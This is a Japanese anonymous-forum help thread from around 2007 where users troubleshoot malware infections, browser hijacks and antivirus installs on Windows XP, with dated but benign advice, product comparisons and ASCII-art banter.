★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

>>185
Xp pro SP2 IE6 Spybot Ad-Aware
ここまでは一緒だけど当方には"CountCyclesWMVDecLog.txt "などないね。
色々スキャンしたみたいだけど検出されないんでしょ？
あとはHijackThis でもしてみたら？
それでも気持ち悪いのであればクリーンインスコ。
もしクリーンインスコしたらXp-proなんだから
バックアップもとっておけば万が一の時、楽じゃない？

テンプレに
・他人のIPアドレスを確認
　MS-DOSプロンプト(コマンドプロンプト)を起動して、
　netstat -anを実行。表示されたポートから判断。
って書いてあるけど、どうやって判断するのかどなたか教えてください。

>>188
クリーンインストすれば大丈夫だと思いますか？

>>190
全て書き込む前に書き込んでしまいました、、すみません、、

それらしいものは検出されませんでした。
ＨＤＤの初期化からやって、ＯＳのインストやり直せば大丈夫でしょうか？
大変な作業になるなぁ。。。
HijackThisっていうのはやらずに初期化からやることになりそうです。。

Xp-proのバックアップってどんなものですか？
Ｃ，Ｄドライブの必要なものだけ外付けの別ドライブに保存して初期化しようかと思うんですが、
そのエロサイトのファイルも保存したら、その外付けのドライブも汚染されてしまうんでしょうか？

>191
他のドライブには大丈夫だと思う

一度「アダ被」に相談しては
何がどうなってるか検証したほうが吉

>>159
NIS2006はダメポ

>>191
保存だけでは感染はしない。
エロサイトのファイルなる物にノートンとカスペで検出されない
ウイルス本体または汚染されたファイルがあったと仮定して
そのファイルを実行したら可能性はあるでしょう。
ただその可能性は低いと思われ。

当方は専用のバックアップソフト使っているため
Xp-proのバックアップは未使用のため詳しい説明はできません。
Xp-proのバックアップとは
スタート＞マイコンピュータ＞CとかDドライブを右クリック＞ツール＞バックアップ
または
スタート＞すべてのプログラム＞アクセサリ＞システム ツール＞バックアップ
詳しくはここみてちょ
Ｈｔｔｐ://www.microsoft.com/japan/windowsxp/pro/using/howto/security/backup.mspx

>>192
アダ被ってここのことですね。
ttp://www.higaitaisaku.com/
検討してみます。
>>193
カスペルスキーでも検出されなかったんです。。
>>194
なるほど、ありがとうございます。

皆様ありがとうございました。

誤　スタート＞マイコンピュータ＞CとかDドライブを右クリック＞ツール＞バックアップ
正　スタート＞マイコンピュータ＞CとかDドライブを右クリック＞プロパティ＞ツール＞バックアップ

アダ被の新規作成ウィザード読んでたら
なんか大変そうですね。。

初期化してやり直すのが簡単かなぁ。。。

去年マカフィー使ってたんですが簡易スキャンでRARファイルとかスキャン出来ないみたいなので
他のにしようかな、思ってるんですが、シェアでこれはいい言うのありますでしょうか。
ちなみにノートンは立ち上げが遅い、バスターは下手すると、アンイスト出来なくなるって経験はしてきました。
今年の優良ソフト教えてくださいｍ＿ｍ

情けない質問で申し訳ないのですが・・・
３週間前ノートンアンチウイルス２００７をダウンロードしたのですが、
２日前にＰＣの具合がわるくなり、リカバリしました。
さて再ダウンロードしようと思ったところ、
ダウンロードしたときの申し込み番号とメールアドレスを入れるフォームが出て。
製品シリアル番号とプロダクトキーは控えてあったものの,申し込み番号を保存し忘れました。
こういう場合って再ダウンロードできないのでしょうか。
休日でシマンテックに問い合わせできません。
どなたか教えていただければ幸いです。

>>198
http://pc10.2ch.net/test/read.cgi/sec/1169492750/5

http://pc10.2ch.net/test/read.cgi/sec/1169492750/17

>>199
明日まで待つのがいいと思う

>>198
じゃあカスペしかないだろ・・・
NortonはAmazonを見たらわかるが2006より起動が3秒早くなっただけ

暇です＞＜　　
誰か燃料投下して下さい＞＜

:::::::::::/　　　　　　　　　　 ヽ::::::::::::
:::::::::::|　　ば　　じ　　き　　i::::::::::::
:::::::::::.ゝ　か 　 つ 　 み　 ﾉ:::::::::::
:::::::::::/　 だ　　に　　は　ｲ:::::::::::::
:::::　 |　　な。　　　　　　　ﾞi　　::::::
　　　＼_ 　　　　　　　 ,,-'
――--､..,ヽ__　　＿,,-''
:::::::,-‐､,‐､ヽ.　)ノ　　　　　 ＿,,...-
:::::_|/ ｡|｡ヽ|-i､　　　　　 ∠＿:::::::::
／. ` ' ● '　ﾆ ､　　　　 ,-､ヽ|:::::::::
ニ　＿_ｌ＿_＿ノ　　　　 |・ |　|, -､::
/￣　＿　　| i　　　　　ﾟr ｰ'　　6 |::
|(￣`'　　）/ /　,..　　　 i　　　　　'-
`ー---―' / '（__ ）　　　ヽ 、
====（ i）==::::／　　　　　　,/ﾆニニ
:/ 　　 　ヽ:::i　　　　　　　/;;;;;;;;;;;;;;;;

>>203
近くの無線LANが無防備で
ｱｸｾｽし放題です　
どうしたらいいでつか

今加入してるプロバイダを解約

>>206
ｗ

誰かお願いします
【使用OS】windows xp home
【使用ブラウザ】 Internet Explorer 6.0
【Microsoft Updateの状態】 買ったままの状態？
【ウイルス対策ソフトとバージョン】 なし
【スパイウェア対策ソフト】 なし
【ファイアウォール】 ？
【ルータの有無】 有

【具体的な症状】 ネットに接続するとhttp://awarninglist.com/
に飛ばされてしまいます。
パソコンの処理速度が低下してしまってます。
これはウイルスでしょうか？
【過程と措置】 家族が使用してるパソコンなので何故なったのかわかりません
初心者なので言葉足らずですが解決法お願いします。

セキュリティはルータだけ、アップデートもしてないなら原因が多すぎて特定不能
杉林の中をマスク、めがねなしで散歩するようなもんだ
とりあえずマルウェアには違いないからさっさとセキュリティソフト入れてアップデートしろ

とりあえず、>>3-4,>>6診てスキャン汁

エロサイトで落としたzipに混じってるおかしなファイルを
何かのソフトとかで自分で確認できますか？

アンチウイルスなんてイソジンみたいなもんですよ
ひいたらきかね

いろいろ原因の元を探ってみてるのですがパソコンがフリーズしまくりで
お手あげ状態なんですよ(つд⊂)

何を聞きたいんだ？
ウイルスかどうかなら、プロセスを見て判断。
判断できないならオンラインスキャン。
お手上げで疲れたらクリーンインストール。
必要なファイルがあるならバックアップ。

とにかく普通にパソコンが使えるようになればいいんです。
クリーンインストールやってみます。

今は富士通M2ルータ内蔵モデム＋ウイルスドクターFW付きの環境なんですけど、FWのログが何も無いのですが、Pingもルータモデムが防いでるって事ですか？

ﾊﾟｽｸﾗってなんですか？

パスワードクラック

>>216
http://pc10.2ch.net/test/read.cgi/sec/1115996411/
ソフトの仕様については専スレで聞いた方が早い

ﾊﾟｽﾜｰﾄﾞｸﾗｯｸってなんですか？

>>220
:::::::::::/　　　　　　　　　　 ヽ::::::::::::
:::::::::::|　　キ　　じ　　き　　i::::::::::::
:::::::::::.ゝ　モ 　 つ 　 み　 ﾉ:::::::::::
:::::::::::/　 イ　　に　　は　ｲ:::::::::::::
:::::　 |　　な。　　　　　　　ﾞi　　::::::
　　　＼_ 　　　　　　　 ,,-'
――--､..,ヽ__　　＿,,-''
:::::::,-‐､,‐､ヽ.　)ノ
:::::_|/ ｡|｡ヽ|-i､　　..　　　 ／￣￣￣￣
／. ` ' ● '　ﾆ ､　　　　（＿＿＿＿人
ニ　＿_ｌ＿_＿ノ　　　　（-◎-◎一
/￣　＿　　| i　　　　　（　(_　_)
|(￣`'　　）/ /　,..　　　 （　ε　 　（∴
`ー---―' / '（__ ）　　　ヽ＿＿＿＿
====（ i）==::::／　　　　　　,/ﾆ>>
:/ 　　 　ヽ:::i　　　　　　　/;;;;;;;;;;;;;;;;

>>220
どっか逝って下さい（＞＜）

お前はさらにきもいな

全くだ。

スパイウェアについて教えてください

>>29
またしても「NOD32」で検出できないウイルスが出現したみたいです…。
やっぱり今回も、何社もの製品が検出できているのに。

代表的な検出名：Trojan.Doropper
http://vista.crap.jp/img/vi6992792988.jpg
http://www.virustotal.com/

>>226
　 　 ,-ｰ─‐‐-､
　　 ,! ||　　　　　|
　　 !‐-------‐
　　.|:::i ./￣￣ヽi
　　,|:::i | (,,ﾟдﾟ)||　　＜ ソース出せ。ｺﾞﾙｧ!!
　　|::::（ﾉ 中濃 ||）
　　|::::i |..ｿ ｰ ｽ||
　　＼i `-----'/
　　　 ￣U"U￣

47 人中、31人の方が、｢このレビューが参考になった｣と投票しています。
値段相応の品質, 2007/1/14レビュアー：おいしいソース (いちおうヒルズ) - レビューをすべて見る

値段相応の最低の品質です。
優れたコスト削減により価格破壊したのではなく、その程度の性能しかないということです。

その理由として
ホームページビルダーなどの「まともな製品」については
現在においても１万円前後と高い価格で売られています。
その他の「まともな製品」も高めの価格設定です。
しかも、かつて同社はマカフィー社のセキュリティソフトを６０００円くらいで販売していました。
安さが売りの同社においてもこの価格設定です。

ソースネクストが本当に高品質の製品を安く販売しているというのなら
ホームページビルダーのようなソフトは１９８０円で販売されなくてはなりません。
マカフィーのセキュリティソフトももっと安い値段でなければなりません。
しかし実際は反対の現象が起きています。
性能が良ければ、この会社は高い値段で売るんです。

つまり、ウイルスセキュリティというソフトは、
価格設定を極端に低くしなければ売れない程の「インド製の低性能なソフト」
ということをソースネクスト自身が認識しているということです。

このレビューは参考になりましたか？ (このレビューについて報告する)


と言うことで初心者は騙されないようにと貼り貼り

なるほど

　　　　　　　　　　ゝ　 ／' 　'＼　　　 :::::::::::'
　　　　　　　　　　 . -･=-,　､-･=-　　::::::::::;'　
　　　　　　　　　　 | 　.,ﾉ(・ ・ ( ⌒　　::６）　＜ ソース出せ。ｺﾞﾙｧ!!　
　　　　　　　　　　 .l　┃ﾄｮﾖｺｲ┃　　.ソ　　＜ どこにあるのか知ってて言っているんだけどな。
　　　　　　　　　　　ヽ┃｀ニ'´ ┃　,.i-、　　＜ 牽制しておかないとな♪
　　　　　　　　　　　　　,｀~,'i' "~ ／　　,>"'-、

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

哀れ・・・・(　；∀；)
http://tmp6.2ch.net/test/read.cgi/tubo/1167055200/410-411

>>231
　　　 　　　　　　　　　　　　　　／:|.　　　　　　　　　　　　　／:|
　　　　　　　　　　　　　　 　 ／　.:::|　　　　　　　　　　　 ／　 ::|
　　　　　　　　　　　　　　　 |　　...:::|_　　　　　　　　　　/　　　:::|
　　　　　　　　　　　　　　　i　　　 　 ￣￣⌒ﾞﾞ^――／　　　::::::|
　　　　　　　　　　　　　　/　　　　　　　　　　　　　　　　　　:::::::::＼
　　　　　　　　　　　　 　/|･＼　　　　　　　　　　　.／･>　　 　:::::::::＼
　　　　　　　　　　　　　/ミ＼ ＼　　　　　　　　 ／ ／彡　i し.／:::::::＼
　　　　　　　　　　　 　/　　ミ＼.＼ヽ|||liiiii||/ ／.／彡　　 ﾉ　(::::::::::::::::::＼
　　　　　　　　　　　　/　　　　ミ＼＼|||iii||l／／彡　　　　 '~ヽ　　:::::::::::::::＼
　　　　　　　　　　 ／　　　　　　　￣　　　￣,,､　　　　　　　　　 ／:::::::::::::::::.＼
ｼﾞｬｶﾞﾜｲｲﾜ━━／　 ＼ / 　,,__＿＿　_,／￣　＼　＼　　　　／::::::::::::::::::::::::::::＼━━━━!!!!!
　　　　　　　　　＼　　　　|.. |　／└└└└＼../＼　　　 ／:::::::::::::::::::::::::::::::::／
　　　　　　　　　　 ＼　　　 ∨.|lllllllllllllllllllllllllllllllllllllllll|　 ／::::::::::::::::::::::::::::::::::／
　　　　　　　　　　　　＼　　 |.|llllllllllll;／⌒／⌒　 　|　　　　::::::::::::::::::::::::／
　　　　　　　　　　　　　 ＼　|.|lllllllll;　　　./　.　　 .　|　　　　:::::::::::::::::::／
　　　　　　　　　　　　　　/　 |.|llllll|′　　/　　　　.　|　　　　|　::::::::／|
　　　　　　　　　　　　　 /　　|.|llll| 　　　| 　　　　.∧〔　　　/　::::::::::::::::＼
　　　　　　　　　　　　／　｝.∧lll　　　　|　　　　../　/　　／　　　:::::::::::::::::＼
　　　　　　　　　　 ／　　　/|　＼┌┌┌┌┌/.／　／:::　 　　　　:::::::::::::::::＼
　　　　　　　　　／　　　　(　ﾞﾞ^^¨^¨ﾞﾞ¨　￣￣￣　／:::::::::::　　　　　　 　　::::::::::＼
　　　　　 　　／　　 　　ヽｰ─¬ｰ〜ｰ―――　:::::::::::::

>>219
ドクターのFWは駄目ぽいから、Pingをルータ内蔵モデムが防いでくれて、パソコンには害が無いか知りたいのです。

「Vistaのスパイウエア対策ソフトは検出漏れ84％」，Webrootの調査
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070126/259785/

　　　　　　　 /''⌒＼
　　　　　　,,..' -‐==''"フ ／
　　　　　　 （n´・ω・）η　　知らんがなーー
　　　　　　　（　　 ノ　　　＼
　　　　　　　（＿）_）
　　　　 ~"''"""゛"゛""''･、
　"”゛""''""“”゛゛""''' "j'
　:::::ﾍ　:::::....ヽ :::;;;ﾉ　 ::(
　::　 ゝ　　:::::......ﾉ:;;..:::::::

【使用OS】 　ウィンドウズXP
【使用ブラウザ】　IE
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】　無し
【スパイウェア対策ソフト】 無し
【ファイアウォール】 無し
【ルータの有無】 有
【具体的な症状】 「your　computer　is　denger！」と言うメッセージがタスクバーに常駐
クリックすると急に変なソフトインスコ開始（ググッたところインチキソフト）消えない
CPU使用率がほとんど100�l　数時間たつと勝手に電源が切れる(異常終了)
ブラウザ開くと広告の嵐トップページがアダルトサイトになったまま変更できなくなっている　
すごい重い　管理者は自分なのにタスクマネージャが開けない　
シャットダウンしようとするとエラー発生後フリーズ　システムの復元使用不可能
【過程と措置】 海外のゲームサイトで間違って怪しいサイトのリンクを踏む→
急に謎の物インスコ開始→阻止できず終了→強制的に再起動→上の症状発生　　
それから特にいじってない
【その他】　低スペックPC

ウイルスでしょうか?
リカバリも再インスコもせずに治すことはできますか?　バックアップ
を保存しておく場所がないので＾＾;

>>237
相当重症。クリーンインスコ奨励。

クリーンインスコしないなら
起動時にF8連打して[セーフモード]を選択して起動。
うまく起動できたらデータのバックアップ。
スタートメニューから名前を指定して実行からmsconfig
システム構成ユーティリティが開くから[スタートアップ]をすべて無効にする

まずここまでやってみ

IE6.0です

そこまでやってみます。迅速な対応ありがとうございました

いんちきスパイウエア
ここに対処法ある
http://www.higaitaisaku.com/fakewarning.html

Microsoft Updateが本当に最新か確認
sp1ならsp2にして再度Microsoft Updateやる

>237
何て名前のソフト？
それと、システムの復元（ファイルパス）＝c:\windows\system32\restore\rstrui.exeを
c:\windows\system32\restore\rstrui.comにリネームしても実行できないの？

*.EXEファイル起動不可？いやまさかな…

>241
たしかに【Microsoft Updateの状態】 最新で【ルータの有無】 有なら凌げるはずだよな。

>>242
ブラウザが開けるから関連付けは変えられて無いと思われ

【使用OS】 SONYのVAIO（ノート）
【使用ブラウザ】 WinMX
【Microsoft Updateの状態】 ←は？
【ウイルス対策ソフトとバージョン】 ←はぁ？
【スパイウェア対策ソフト】 ←はあ？
【ファイアウォール】 ←はあー？
【ルータの有無】 ←はあぁー？

【具体的な症状】 俺様のメールに知らない人からメールが届いて
情報が流出しているのでスキャンして駆除するようにとか
わけのわからないウイルス文書を送り付けてくる
【過程と措置】 知らない人からのメールなので「死ね！ストーカー！変態ヤロー！」
というメッセージを添えて返信
【その他】 世界最強のセキュリティなのに
この変態ストーカーやろうはどうやって俺様のメアドをハッキングしたんだ？
何か思い当たることない？

>>244
釣り乙

>>244はちょっとつまんないよね(´･ω･`)ガッカリ

>243
そうだよな…拡張子の関連付けを破壊されていたら、ここへは質問できませんしね。
しかし返事が無いと言うのは、どこかでつまずいてるか、
何か深刻なことが起きているんじゃないっすかね？

>244
何この突込みどころ満載の内容

真正じゃね？山田にでも感染しそうな馬鹿さはにじみ出てるし

>>244の人気に嫉妬

>>235
最近はフリーの製品の方が、有料製品よりもスパイウェア（トロイ）やウイルスに対して、活躍しているっぽい。

224 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/23(火) 09:21:32
NODで検出できないルートキットが出たよ。
http://vista.crap.jp/img/vi7012763290.jpg

457 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/25(木) 12:01:17
また"NOD32"で、まだ検出できないウイルスが出現した('A`)
ちゃんと検出できている製品もあるのに。

代表的な検出名：PoisonIvy.j（バックドアの一種）
http://vista.crap.jp/img/vi7012774443.jpg
http://www.virustotal.com/


112 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/28(日) 21:10:05
再び「NOD32」で検出できないウイルスが出現したみたいです…。
やっぱり今回も、何社もの製品が検出できているのに。

代表的な検出名：Trojan.Doropper
http://vista.crap.jp/img/vi7012782119.jpg
http://www.virustotal.com/


344 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2007/01/30(火) 12:13:14 ID:S6Q5YfM90
四度も立て続けに、NOD32でまだ検出できないウイルスが出たみたいで。
もはやNOD32では、そこそこの安心感も得られない時代になったのを実感した。

Avast検出名：Delf-BAW
http://vista.crap.jp/img/vi7007571352.jpg
http://www.virustotal.com/

【使用OS】 Windows XP Pro2
【使用ブラウザ】 IE6.0　Ｂフレッツ光マンションタイプＶＤＳＬ
【ウイルス対策ソフトとバージョン】
トレンドマイクロ試用版をアップデートしないで使ってます
【ファイアウォール】
ゼミでポートを開放して通信するみたいな事をやりましたが、ちゃんと直したと言ってました。
【ルータの有無】 無し
【具体的な症状】 リアルタイム検索を常にしてますが、オンラインスキャンで
検索しても、「ウィルスは見つかりませんでした」となるのですが、以下の画面だけが必ず出てきます。
ファイル名を検索しても該当なしでした。

ウイルス対策ソフトはアップデートしないなら入れていないのと同じ

張り忘れました
ttp://www.vipper.org/vip432970.jpg.html

>>253
実行した処理　アクセス拒否

ＯＳやウィルスソフトがそのファイルを実行しようとしたら、拒否されたということですか？
でも、ｳｨﾙｽ発見ということは感染されるんですよね。対策としてどんなのがありますか？

>>255 セーフモードでスキャン。　>>252と同意見。フリーのでも入れろ。

日本語が良いなら

アンチウイルス
http://67.15.104.48/index_jpn.html
の「avast! 4 Home Edition」を入れとけ。メールによる
ライセンス(レジスト)キーの入手も忘れずに。

アンチスパイウェア
http://www.microsoft.com/japan/athome/security/spyware/software/default.mspx
の「Windows Defender」

ファイアウォール
http://dobry-den.sakura.ne.jp/html/JPF_top.htm
の「Jetico Personal Firewall」
http://www.agnitum.com/products/outpostfree/download.php
の「Outpost Firewall Free」

他にも、AVGなどのこれらよりも優秀なフリーもあるが英語というところが
ネック。

てか、 >>253 の画像に「修復するには」というのが見えんか？

>253
ファイル名だけってのがちょっとな〜＜バスター2007
パス（場所）も一緒に表示してくれれば、こんな質問なんてしないでしょう。

システムの復元を無効→システムの復元を有効→再スキャン
で、どうかな？

何とかやっとどうにかなりそうです。ありがとうございました

>>251
ゼミとやらで教えてもらったら？

ＭＳＮスニファなるソフトで会話が第三者に盗聴されるので
メッセンジャーはつかわないほうがいいなどと言われたのですが
ＬＡＮ内でのみ盗聴されるのでしょうか？
それともＩＰさえわかれば無秩序に盗聴されまくりなのでしょうか？
もし後者だとしたらメッセーンジャー使うのやめなければならないので
ご存知の方教えてくださいまし

>>260
> ＬＡＮ内でのみ盗聴されるのでしょうか？
↑こっちが正解。

しかし、最近のMSNﾒｯｾﾝｼﾞｬに対しては無効だった気がするが。

aFBGLuVIa0dVmzjT+25lyw==

質問です。

【使用OS】 WindowsXP　Home
【使用ブラウザ】 IE6.O
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 ウィルスバスター2007（30日間Ver無料期間終了で期限切れ
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】 無し

【具体的な症状】
ウィルスバスター2007のアンインストールが出来なくなってしまいました。
【過程と措置】
アンインストールを行おうとすると
「いくつかのファイルが隔離フォルダに残っています。
プログラムをアンインストールすると、これらのファイルは削除されます。」と出て
okすると、暫くたった後に
「致命的なエラーが発生しました。
コンピュータを再起動して、再度実行して下さい。」と出てアンインストールが出来ません。

色々調べて、もう一度DL→インストール→アンインストールをすればいいとの回答を見て、
その手順を行うと、DL直後にアンインストールを促す画面が出て同じ事になります。

何とか削除する方法はないでしょうか。

数十分で再起動しまうので教えていただいた処置が最後までできませんorz

>>263
イベントビューアにエラーメッセージが出力されてたりしてない？
（コントロールパネル→管理ツール内）

たしか専用削除ツールがあったはず
pcctool.exeとかいった　それつかうと削除できる
プログラムファイルの中のtrend microフォルダのなかにあったとおもうが

歴代バスターと同じなら
C:\Program Files\Trend Micro\Virus Buster 2007\pcctool.exe
からアンインストールできるはず。

>>265様
レス有難うございます！
イベントビューアも初めて見るような初心者なもので詳しく教えて下さり感謝です。
システムの所にエラーが立て続けに出ておりました。
どこを見ればよいのかよくわからず。でも多分アンインストール時のエラーだったと思います。
時間が近かったので・・・。

>>266様
pcctoolありました！
自分なりに調べたつもりが、こんな項目があるんですね。勉強になりました。
こちら実行してアンインストール後、再起動でちゃんと消えたようです。
本当に有難うございました！

>>267様
同じくｐｃｃtoolでアンインストール実行出来ました。
的確に方法を示して下さり、本当に有難うございました。

>264
セーフモードでも>238、>241-242の作業ができないだと？

リカバリするしかないだろもう

>>264
BIOSの設定で自動再起動の設定がある


と適当なことを逝って見る

>>263
>いくつかのファイルが隔離フォルダに残っています。

フツーに考えてまずそこを処理するんじゃねーの？

【使用OS】 windowsXP homeedition
【使用ブラウザ】 Internet Explorer
【Microsoft Updateの状態】 最新です
【ウイルス対策ソフトとバージョン】 nis2007
【スパイウェア対策ソフト】 spybot-search&destroy
【ファイアウォール】
【ルータの有無】

【具体的な症状】 XPを起動する度に「Microsoft.windowsSecrityCenter_disabled」
　をspybotが検出する。

【過程と措置】 免疫した後起動→検出　セーフモードでは検出しなかったです。
【その他】 Microsoft.windowsSecrityCenter_disabledとはどういうスパイウェア

　なんでしょうか対策などがありましたらご教授願います。

>>272
Security Centerサービス（WindowsUpdate‥監視するの）止めてるんでしょ

>>273　どうもありがとう。Security Centerサービスを検索したら解決出来ました。
初歩的な質問ごめんです。

>>272
http://pc10.2ch.net/test/read.cgi/sec/1169492750/14 参照

設定変えたりソフト入れてもシマンテックのセキュリティスキャンで
対ハッカー露出度チェック 18% が要注意
Windows 脆弱性チェック 9% が要注意
トロイの木馬チェック 4% が要注意
こうなるのだけどオンライン状態でこれ以下の数字でない？

>>276
出る

なんの事かとやってみたがそれは送信した人の統計の数字じゃないか

会員登録Webサイトを運営しているのですが、こんな感じの
登録（書き込み）が数日おきにいろいろなサイトから
あります。日本・中国・etc.からです。以下は国内からの例です。
原因として何が考えられるでしょうか？

219.106.231.34
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4

first_name=Pete
last_name=Devon
address=Rory
city=Keyon
state_province=Austen
postal_code=Arron
country=Justus
phone=Sullivan
fax=Asher
[email protected]

>>279
串　嫌がらせ　宣伝

　質問です。
パソコンを買って、初めから入っていたノートンという
対ウィルスソフトの有効期限が切れたらしくウィルス進入表示がされてきたので
更新しようと思ったのですが、ノートンよりいいものがあると聞き、評判の良い
「カスペルスキー　アンチウィルス6.0　通常版」というのを買って来たのですが
通常版ではなく12＋3ヶ月特別優待版でも良かったでしょうか？
　あと、ノートンが入っているパソコンに更にカスペルスキーを入れてもいいのですか？
初心者なものでわからないことがわからなくて…。
お手数ですが、ご指導の程をよろしくお願いします。

>>281
常駐するセキュリティソフトはひとつだけにしないと
ウイルスを同時にリアルタイム検知したときにトラブル

>>281
12＋3ヶ月特別優待版の条件に「プリインストールPC・試用版を含む」とあるから
優待版のほうがお得だったね。
ノートンアンインストールしてからカスペをインストール。

>>282さんありがとうございます。
なるほど。やはり自分では出来なさそうなので
明日にでもサービスセンターに問い合わせしてみようと思います。

>>283さんもありがとうございます。
明日返品して買い換えてから問い合わせしてみます。

ホームページをGoogleに変えたいんですが変わりません。セキュリティに関係ありますか？

>>286
もう少し状況を詳しく。
今のホームページは勝手に書き換えられたのをgoogleにしたいの？
それとも今まで利用していたページ（例.yahooJAPAN）をgoogleにしたいけど変わらないの？

●質問者用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

>>286
spybot等でロックしたならロック解除。
そうでないならレジストリから直接変更。
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel
値が1なら0に変える。

>>286
ノートンとかのホームページロック機能が邪魔してるんじゃない？

補足
ひとつしかないと思うけど
名前 homepage とかいてあるやつ。値とはデータってやつ。

ノートン、ウィルスバスター、ZERO

どれが一番軽いですか？

軽い”だけ”ならZERO
でもやめとけ
ザルだ。

NDOが軽い
まるで空気のような軽さ

>>292
では

ノートンとウィルスバスターではどちらが軽いですか？

質問です
ファイアウォールにoutpostを使用しているんですが
3日程前ICQ　LITEを立ち上げた時にoutpostが反応し
「ICQLSRP.EXE」は違うプログラムです的なメッセージで
このプログラムをブロックするか、しないかの選択を迫る警告が出ました
ネットゲームのパッチを当てた際に出る警告と同じでした。
一年以上使っているICQですがそれに対しての警告は初めてで
バージョンアップもした覚えがないのでひょっとしたらウイルスなどに
感染したのかと思いびびってブロックしました。
ちなみにウイルスバスターのオンラインスキャンでチェックしたら大丈夫でした
がこのまま使っても大丈夫でしょうか？よろしくお願い致します。

ノートン2007は結構評判いいぞ以前のverは糞重いけど

やっぱノートンにしとく方がいいのかな・・・

>>286です。先ほどは携帯から失礼しました。

>>287
それとも今まで利用していたページ（例.yahooJAPAN）をgoogleにしたいけど変わらないの？ ←そうです


●質問者用テンプレート●

【使用OS】 XP
【使用ブラウザ】 ？　最近買ったNEC　LL550/G
【Microsoft Updateの状態】 常に最新？
【ウイルス対策ソフトとバージョン】 買って一ヶ月の今日ソーネクストのゼロをいれました。特に問題はないらしいんですが
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】 ？　無線LAN　バッファローG５４
【具体的な症状】 インターネットオプションからホームページが変わらない
。パソコンの一番右下のBARのプロパティーからアクティブでないのを隠すというのもいくつか隠れないのがある
【過程と措置】 買ったばかりで何故こうなったのか？
【その他】

無知ですみません。

>>288レジストリ？　ってなんですか？　すみません
>>289ノートン？　とかいうのは入ってないと思うんです。

>>298
ソースを終了させてから変更。

ウィルスバスターの方がノートンより軽いと言う意見がありますが
どうですか？

>>300
おれはAntiVirオンリーだからわからない

>>300
今まではそれが定評だった
でも新ノートンは軽くなったって言うし、新バスターは糞重くなったって言うし・・・
いまはどっちなんだろ

>>302
常駐時のメモリ使用量はノートンが圧倒的に軽いようですね

Norton Internet Security 2007 10-20MB*1 Windows XP/768MB
ウイルスバスター2007 100-140MB*2 Windows XP/768MB
マカフィーウイルススキャンプラス 110-140MB Windows 2000/320MB


単純にメモリ使用量が少なかったら軽いってわけでも無いだろうしどうなんでしょう？

>>299ソース・・・？　

>>295
outpostはアプリケーションをMD５（ハッシュ値）で暗号化し記憶されており、アプリケーションをバージョンアップ等した場合その変更を許可するか聞いてきます
外部からの浸入によるアプリケーションの改ざんを警告する親切設計です。
http://72.14.235.104/search?q=cache:FtnGZ8eFZdAJ:www.geocities.jp/happy_moo_1999/web/outpost.html+outpost+%E8%AD%A6%E5%91%8A%E3%80%80%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%A2%E3%83%83%E3%83%97&hl=ja&gl=jp&ct=clnk&cd=3

つまり　ICQLSRP.EXEになんらかの改ざんがあったわけだな
俺もoutpost使ってるけどバージョンアップ以外でその警告みたことないなあ
本当にバージョンアップしてないならウイルスの可能性もある

http://www.virustotal.com/にICQLSRP.EXEをうｐして他のベンダーでのスキャン結果をみてみる
ネトゲ関連サイトはマルウェアの巣窟だから　感染の可能性も少なくない

>298
＞買って一ヶ月
っていうとPCを購入してからまだ一ヶ月しか断ってないってことだね。

＞パソコンの一番右下のBARのプロパティーからアクティブでないのを隠すというのもいくつか隠れないのがある
これは俺のXPでもそうだ。こちらのほうは問題無い。

＞インターネットオプションからホームページが変わらない
これには原因がいくつかあるが、たぶん「ああ、そういうことなんや」っていう原因だと思う。

カーナビにコンピューターウイルス，パソコンに接続すると感染拡大
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070130/260032/

ロジテックのハードディスク68台にウイルス，パソコンを乗っ取られる恐れ
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070201/260284/?ST=security

スパイウエア対抗団体ASCがスパイウエア特定のベスト・プラクティスを公開
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070126/259777/

「Vistaのスパイウエア対策ソフトは検出漏れ84％」，Webrootの調査
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070126/259785/

>>299ありがとう。できました。ただその直後「トロイの木馬を発見しました」
とでて無事対処したらしいですが、再起動立ち上げたときに、またもやシステムを
変更しますか？と前のホームに戻る確認がでました。拒否しましたが、このままパソコン立ち上げるたびに確認
が入るとうざいですよね、なんとかならないんですかね？

スパイウェア検索をしたら、「COOKIE_○○○○←数字4桁」というのが
